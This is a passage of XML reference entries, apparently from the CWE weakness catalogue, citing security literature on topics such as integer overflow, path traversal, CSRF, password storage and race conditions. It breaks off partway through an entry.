		<External_Reference Reference_ID="REF-150">
			<Author>Johannes Ullrich</Author>
			<Title>Top 25 Series - Rank 17 - Integer Overflow Or Wraparound</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---18</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>http://software-security.sans.org/blog/2010/03/18/top-25-series-rank-17-integer-overflow-or-wraparound</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-155">
			<Author>Halvar Flake</Author>
			<Title>Third Generation Exploits</Title>
			<Publication>presentation at Black Hat Europe 2001</Publication>
			<URL>https://view.officeapps.live.com/op/view.aspx?src=https%3A%2F%2Fwww.blackhat.com%2Fpresentations%2Fbh-europe-01%2Fhalvar-flake%2Fbh-europe-01-halvarflake.ppt&amp;wdOrigin=BROWSELINK</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-156">
			<Author>Steve Christey</Author>
			<Title>Off-by-one errors: a brief explanation</Title>
			<Publication>Secprog and SC-L mailing list posts</Publication>
			<Publication_Year>2004</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---05</Publication_Day>
			<URL>http://marc.info/?l=secprog&amp;m=108379742110553&amp;w=2</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-157">
			<Author>klog</Author>
			<Title>The Frame Pointer Overwrite</Title>
			<Publication>Phrack Issue 55, Chapter 8</Publication>
			<Publication_Year>1999</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---09</Publication_Day>
			<URL>https://kaizo.org/mirrors/phrack/phrack55/P55-08</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-161">
			<Author>John McDonald</Author>
			<Author>Mark Dowd</Author>
			<Author>Justin Schuh</Author>
			<Title>C Language Issues for Application Security</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---25</Publication_Day>
			<URL>http://www.informit.com/articles/article.aspx?p=686170&amp;seqNum=6</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-162">
			<Author>Robert Seacord</Author>
			<Title>Integral Security</Title>
			<Publication_Year>2006</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<URL>https://drdobbs.com/cpp/integral-security/193501774</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-166">
			<Author>Jim Manico</Author>
			<Title>Input Validation with ESAPI - Very Important</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---15</Publication_Day>
			<URL>https://manicode.blogspot.com/2008/08/input-validation-with-esapi.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-168">
			<Author>Joel Scambray</Author>
			<Author>Mike Shema</Author>
			<Author>Caleb Sima</Author>
			<Title>Hacking Exposed Web Applications, Second Edition</Title>
			<Publication_Year>2006</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---05</Publication_Day>
			<Publisher>McGraw-Hill</Publisher>
		</External_Reference>
		<External_Reference Reference_ID="REF-170">
			<Author>Kevin Beaver</Author>
			<Title>The importance of input validation</Title>
			<Publication_Year>2006</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---06</Publication_Day>
			<URL>http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92_gci1214373,00.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-172">
			<Author>Chris Wysopal</Author>
			<Title>Mobile App Top 10 List</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---13</Publication_Day>
			<URL>https://www.veracode.com/blog/2010/12/mobile-app-top-10-list</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-174">
			<Author>Web Application Security Consortium</Author>
			<Title>Information Leakage</Title>
			<URL>http://projects.webappsec.org/w/page/13246936/Information%20Leakage</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-175">
			<Author>Brian Chess</Author>
			<Author>Jacob West</Author>
			<Title>Secure Programming with Static Analysis</Title>
			<Publication_Year>2007</Publication_Year>
			<Publisher>Addison-Wesley</Publisher>
		</External_Reference>
		<External_Reference Reference_ID="REF-176">
			<Author>Michael Howard</Author>
			<Author>David LeBlanc</Author>
			<Title>Writing Secure Code</Title>
			<Edition>1st Edition</Edition>
			<Publication_Year>2001</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---13</Publication_Day>
			<Publisher>Microsoft Press</Publisher>
		</External_Reference>
		<External_Reference Reference_ID="REF-179">
			<Author>Johannes Ullrich</Author>
			<Title>Top 25 Series - Rank 16 - Information Exposure Through an Error Message</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---17</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>http://software-security.sans.org/blog/2010/03/17/top-25-series-rank-16-information-exposure-through-an-error-message</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-185">
			<Author>OWASP</Author>
			<Title>Testing for Path Traversal (OWASP-AZ-001)</Title>
			<URL>http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-186">
			<Author>Johannes Ullrich</Author>
			<Title>Top 25 Series - Rank 7 - Path Traversal</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---09</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>https://www.sans.org/blog/top-25-series-rank-7-path-traversal/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-192">
			<Author>OWASP</Author>
			<Title>OWASP Attack listing</Title>
			<URL>http://www.owasp.org/index.php/Relative_Path_Traversal</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-194">
			<Author>Herbert Schildt</Author>
			<Title>Herb Schildt's C++ Programming Cookbook</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---28</Publication_Day>
			<Publisher>McGraw-Hill Osborne Media</Publisher>
		</External_Reference>
		<External_Reference Reference_ID="REF-196">
			<Author>Jerome H. Saltzer</Author>
			<Author>Michael D. Schroeder</Author>
			<Title>The Protection of Information in Computer Systems</Title>
			<Publication>Proceedings of the IEEE 63</Publication>
			<Publication_Year>1975</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<URL>http://web.mit.edu/Saltzer/www/publications/protection/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-199">
			<Author>NIST</Author>
			<Title>United States Government Configuration Baseline (USGCB)</Title>
			<URL>https://csrc.nist.gov/Projects/United-States-Government-Configuration-Baseline</URL>
			<URL_Date>2023-03-28</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-207">
			<Author>John Viega</Author>
			<Author>Gary McGraw</Author>
			<Title>Building Secure Software: How to Avoid Security Problems the Right Way</Title>
			<Edition>1st Edition</Edition>
			<Publication_Year>2002</Publication_Year>
			<Publisher>Addison-Wesley</Publisher>
		</External_Reference>
		<External_Reference Reference_ID="REF-229">
			<Author>NIST</Author>
			<Title>Role Based Access Control and Role Based Security</Title>
			<URL>https://csrc.nist.gov/projects/role-based-access-control</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-231">
			<Author>Frank Kim</Author>
			<Title>Top 25 Series - Rank 5 - Improper Access Control (Authorization)</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---04</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>https://www.sans.org/blog/top-25-series-rank-5-improper-access-control-authorization/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-233">
			<Author>Rahul Bhattacharjee</Author>
			<Title>Authentication using JAAS</Title>
			<URL>https://javaranch.com/journal/2008/04/authentication-using-JAAS.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-236">
			<Author>Kim Zetter</Author>
			<Title>Weak Password Brings 'Happiness' to Twitter Hacker</Title>
			<Publication_Year>2009</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---09</Publication_Day>
			<URL>https://www.wired.com/2009/01/professed-twitt/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-237">
			<Author>OWASP</Author>
			<Title>Top 10 2007-Broken Authentication and Session Management</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>http://www.owasp.org/index.php/Top_10_2007-A7</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-238">
			<Author>OWASP</Author>
			<Title>Guide to Authentication</Title>
			<URL>http://www.owasp.org/index.php/Guide_to_Authentication</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-239">
			<Author>Microsoft</Author>
			<Title>Authentication</Title>
			<URL>http://msdn.microsoft.com/en-us/library/aa374735(VS.85).aspx</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-243">
			<Author>Sascha Fahl, Marian Harbach, Thomas Muders, Matthew Smith</Author>
			<Author>Lars Baumg&#228;rtner, Bernd Freisleben</Author>
			<Title>Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---16</Publication_Day>
			<URL>http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-244">
			<Author>M. Bishop</Author>
			<Title>Computer Security: Art and Science</Title>
			<Publication_Year>2003</Publication_Year>
			<Publisher>Addison-Wesley</Publisher>
		</External_Reference>
		<External_Reference Reference_ID="REF-245">
			<Author>Martin Georgiev</Author>
			<Author>Subodh Iyengar</Author>
			<Author>Suman Jana</Author>
			<Author>Rishita Anubhai</Author>
			<Author>Dan Boneh</Author>
			<Author>Vitaly Shmatikov</Author>
			<Title>The Most Dangerous Code in the World: Validating SSL Certificates in Non-Browser Software</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---25</Publication_Day>
			<URL>http://www.cs.utexas.edu/~shmat/shmat_ccs12.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-249">
			<Author>Kenneth Ballard</Author>
			<Title>Secure programming with the OpenSSL API, Part 2: Secure handshake</Title>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<URL>https://developer.ibm.com/tutorials/l-openssl/?mhsrc=ibmsearch_a&amp;mhq=secure%20programming%20with%20the%20openssl%20API</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-250">
			<Author>Eric Rescorla</Author>
			<Title>An Introduction to OpenSSL Programming (Part I)</Title>
			<Publication_Year>2001</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---05</Publication_Day>
			<URL>https://www.linuxjournal.com/article/4822</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-257">
			<Author>Frank Kim</Author>
			<Title>Top 25 Series - Rank 19 - Missing Authentication for Critical Function</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---23</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>https://www.sans.org/blog/top-25-series-rank-19-missing-authentication-for-critical-function/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-265">
			<Author>Frank Kim</Author>
			<Title>Top 25 Series - Rank 10 - Missing Encryption of Sensitive Data</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---26</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>https://www.sans.org/blog/top-25-series-rank-10-missing-encryption-of-sensitive-data/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-267">
			<Author>Information Technology Laboratory, National Institute of Standards and Technology</Author>
			<Title>SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES</Title>
			<Publication_Year>2001</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---25</Publication_Day>
			<URL>https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-271">
			<Author>OWASP</Author>
			<Title>Top 10 2007-Insecure Communications</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>http://www.owasp.org/index.php/Top_10_2007-A9</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-280">
			<Author>Bruce Schneier</Author>
			<Title>Applied Cryptography</Title>
			<Publication_Year>1996</Publication_Year>
			<Publisher>John Wiley &amp; Sons</Publisher>
			<URL>https://www.schneier.com/books/applied-cryptography</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-281">
			<Author>Alfred J. Menezes</Author>
			<Author>Paul C. van Oorschot</Author>
			<Author>Scott A. Vanstone</Author>
			<Title>Handbook of Applied Cryptography</Title>
			<Publication_Year>1996</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<URL>https://cacr.uwaterloo.ca/hac/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-282">
			<Author>C Matthew Curtin</Author>
			<Title>Avoiding bogus encryption products: Snake Oil FAQ</Title>
			<Publication_Year>1998</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---10</Publication_Day>
			<URL>http://www.faqs.org/faqs/cryptography-faq/snake-oil/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-284">
			<Author>Paul F. Roberts</Author>
			<Title>Microsoft Scraps Old Encryption in New Code</Title>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---15</Publication_Day>
			<URL>https://www.eweek.com/security/microsoft-scraps-old-encryption-in-new-code/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-287">
			<Author>Johannes Ullrich</Author>
			<Title>Top 25 Series - Rank 24 - Use of a Broken or Risky Cryptographic Algorithm</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---25</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>https://www.sans.org/blog/top-25-series-use-of-a-broken-or-risky-cryptographic-algorithm/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-289">
			<Author>Alexander Sotirov et al.</Author>
			<Title>MD5 considered harmful today</Title>
			<URL>http://www.phreedom.org/research/rogue-ca/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-291">
			<Author>Johnny Shelley</Author>
			<Title>bcrypt</Title>
			<URL>http://bcrypt.sourceforge.net/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-292">
			<Author>Colin Percival</Author>
			<Title>Tarsnap - The scrypt key derivation function and encryption utility</Title>
			<URL>http://www.tarsnap.com/scrypt.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-293">
			<Author>B. Kaliski</Author>
			<Title>RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0</Title>
			<Publication_Year>2000</Publication_Year>
			<URL>https://www.rfc-editor.org/rfc/rfc2898</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-294">
			<Author>Coda Hale</Author>
			<Title>How To Safely Store A Password</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---31</Publication_Day>
			<URL>https://codahale.com/how-to-safely-store-a-password/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-295">
			<Author>Brian Krebs</Author>
			<Title>How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---11</Publication_Day>
			<URL>https://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-296">
			<Author>Solar Designer</Author>
			<Title>Password security: past, present, future</Title>
			<Publication_Year>2012</Publication_Year>
			<URL>https://www.openwall.com/presentations/PHDays2012-Password-Security/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-297">
			<Author>Troy Hunt</Author>
			<Title>Our password hashing has no clothes</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---26</Publication_Day>
			<URL>https://www.troyhunt.com/our-password-hashing-has-no-clothes/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-298">
			<Author>Joshbw</Author>
			<Title>Should we really use bcrypt/scrypt?</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---08</Publication_Day>
			<URL>https://web.archive.org/web/20120629144851/http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-320">
			<Author>Michal Zalewski</Author>
			<Title>Strange Attractors and TCP/IP Sequence Number Analysis</Title>
			<Publication_Year>2001</Publication_Year>
			<URL>https://lcamtuf.coredump.cx/oldtcp/tcpseq.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-324">
			<Author>Taimur Aslam</Author>
			<Title>A Taxonomy of Security Faults in the UNIX Operating System</Title>
			<Publication_Year>1995</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---01</Publication_Day>
			<URL>http://cwe.mitre.org/documents/sources/ATaxonomyofSecurityFaultsintheUNIXOperatingSystem%5BAslam95%5D.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-329">
			<Author>Peter W</Author>
			<Title>Cross-Site Request Forgeries (Re: The Dangers of Allowing Users to Post Images)</Title>
			<Publication>Bugtraq</Publication>
			<URL>http://marc.info/?l=bugtraq&amp;m=99263135911884&amp;w=2</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-330">
			<Author>OWASP</Author>
			<Title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</Title>
			<URL>http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-331">
			<Author>Edward W. Felten</Author>
			<Author>William Zeller</Author>
			<Title>Cross-Site Request Forgeries: Exploitation and Prevention</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---18</Publication_Day>
			<URL>https://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.147.1445</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-332">
			<Author>Robert Auger</Author>
			<Title>CSRF - The Cross-Site Request Forgery (CSRF/XSRF) FAQ</Title>
			<URL>https://www.cgisecurity.com/csrf-faq.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-333">
			<Title>Cross-site request forgery</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---22</Publication_Day>
			<Publisher>Wikipedia</Publisher>
			<URL>https://en.wikipedia.org/wiki/Cross-site_request_forgery</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-334">
			<Author>Jason Lam</Author>
			<Title>Top 25 Series - Rank 4 - Cross Site Request Forgery</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>http://software-security.sans.org/blog/2010/03/03/top-25-series-rank-4-cross-site-request-forgery</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-335">
			<Author>Jeff Atwood</Author>
			<Title>Preventing CSRF and XSRF Attacks</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---14</Publication_Day>
			<URL>https://blog.codinghorror.com/preventing-csrf-and-xsrf-attacks/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-338">
			<Author>J. Oates</Author>
			<Title>AOL man pleads guilty to selling 92m email addies</Title>
			<Publication>The Register</Publication>
			<Publication_Year>2005</Publication_Year>
			<URL>https://www.theregister.com/2005/02/07/aol_email_theft/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-339">
			<Author>NIST</Author>
			<Title>Guide to Protecting the Confidentiality of Personally Identifiable Information (SP 800-122)</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<URL>https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-122.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-340">
			<Author>U.S. Department of Commerce</Author>
			<Title>Safe Harbor Privacy Framework</Title>
			<URL>https://web.archive.org/web/20010223203241/http://www.export.gov/safeharbor/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-341">
			<Author>Federal Trade Commission</Author>
			<Title>Financial Privacy: The Gramm-Leach Bliley Act (GLBA)</Title>
			<URL>https://www.ftc.gov/business-guidance/privacy-security/gramm-leach-bliley-act</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-342">
			<Author>U.S. Department of Human Services</Author>
			<Title>Health Insurance Portability and Accountability Act (HIPAA)</Title>
			<URL>https://www.hhs.gov/hipaa/index.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-343">
			<Author>Government of the State of California</Author>
			<Title>California SB-1386</Title>
			<Publication_Year>2002</Publication_Year>
			<URL>http://info.sen.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-349">
			<Author>Andrei Alexandrescu</Author>
			<Title>volatile - Multithreaded Programmer's Best Friend</Title>
			<Publication>Dr. Dobb's</Publication>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---01</Publication_Day>
			<URL>https://drdobbs.com/cpp/volatile-the-multithreaded-programmers-b/184403766</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-350">
			<Author>Steven Devijver</Author>
			<Title>Thread-safe webapps using Spring</Title>
			<URL>https://web.archive.org/web/20170609174845/http://www.javalobby.org/articles/thread-safe/index.jsp</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-351">
			<Author>David Wheeler</Author>
			<Title>Prevent race conditions</Title>
			<Publication_Year>2007</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---04</Publication_Day>
			<URL>https://www.ida.liu.se/~TDDC90/literature/papers/SP-race-conditions.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-352">
			<Author>Matt Bishop</Author>
			<Title>Race Conditions, Files, and Security Flaws; or the Tortoise and the Hare Redux</Title>
			<Publication_Year>1995</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<URL>https://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/ucd-ecs-95-08.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-353">
			<Author>David Wheeler</Author>
			<Title>Secure Programming for Linux and Unix HOWTO</Title>
			<Publication_Year>2003</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<URL>https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-354">
			<Author>Blake Watts</Author>
			<Title>Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit</Title>
			<Publication_Year>2002</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<URL>https://www.blakewatts.com/blog/discovering-and-exploiting-named-pipe-security-flaws-for-fun-and-profit</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-355">
			<Author>Roberto Paleari</Author>
			<Author>Davide Marrone</Author>
			<Author>Danilo Bruschi</Author>
			<Author>Mattia Monga</Author>
			<Title>On Race Vulnerabilities in Web Applications</Title>
			<URL>http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-356">
			<Title>Avoiding Race Conditions and Insecure File Operations</Title>
			<Publication>Apple Developer Connection</Publication>
			<URL>https://web.archive.org/web/20081010155022/http://developer.apple.com/documentation/Security/Conceptual/SecureCodingGuide/Articles/RaceConditions.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-357">
			<Author>Johannes Ullrich</Author>
			<Title>Top 25 Series - Rank 25 - Race Conditions</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---26</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>https://web.archive.org/web/20100530231203/http://blogs.sans.org:80/appsecstreetfighter/2010/03/26/top-25-series-rank-25-race-conditions/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-360">
			<Author>Michal Zalewski</Author>
			<Title>Delivering Signals for Fun and Profit</Title>
			<URL>https://lcamtuf.coredump.cx/signals.txt</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-361">
			<Title>Race Condition: Signal Handling</Title>
			<URL>https://vulncat.fortify.com/en/detail?id=desc.structural.cpp.race_condition_signal_handling#:~:text=Signal%20handling%20race%20conditions%20can,installed%20to%20handle%20multiple%20signals.s</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-367">
			<Author>Dan Tsafrir</Author>
			<Author>Tomer Hertz</Author>
			<Author>David Wagner</Author>
			<Author>Dilma Da Silva</Author>
			<Title>Portably Solving File TOCTTOU Races with Hardness Amplification</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---28</Publication_Day>
			<URL>https://www.usenix.org/legacy/events/fast08/tech/tsafrir.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-371">
			<Author>Alex Allain</Author>
			<Title>Handling Errors Exceptionally Well in C++</Title>
			<URL>https://www.cprogramming.com/tutorial/exceptions.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-372">
			<Author>Microsoft</Author>
			<Title>Exceptions and Exception Handling (C# Programming Guide)</Title>
			<URL>https://msdn.microsoft.com/pl-pl/library/ms173160(v=vs.100).aspx</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-374">
			<Author>Tony Sintes</Author>
			<Title>Does Java pass by reference or pass by value?</Title>
			<Publication>JavaWorld.com</Publication>
			<Publication_Year>2000</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---26</Publication_Day>
			<URL>https://web.archive.org/web/20000619025001/https://www.javaworld.com/javaworld/javaqa/2000-05/03-qa-0526-pass.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-375">
			<Author>Herbert Schildt</Author>
			<Title>Java: The Complete Reference, J2SE 5th Edition</Title>
		</External_Reference>
		<External_Reference Reference_ID="REF-386">
			<Author>Joao Antunes</Author>
			<Author>Nuno Ferreira Neves</Author>
			<Author>Paulo Verissimo</Author>
			<Title>Detection and Prediction of Resource-Exhaustion Vulnerabilities</Title>
			<Publication>Proceedings of the IEEE International Symposium on Software Reliability Engineering (ISSRE)</Publication>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<URL>http://homepages.di.fc.ul.pt/~nuno/PAPERS/ISSRE08.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-387">
			<Author>D.J. Bernstein</Author>
			<Title>Resource exhaustion</Title>
			<URL>http://cr.yp.to/docs/resources.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-388">
			<Author>Pascal Meunier</Author>
			<Title>Resource exhaustion</Title>
			<Publication>Secure Programming Educational Material</Publication>
			<Publication_Year>2004</Publication_Year>
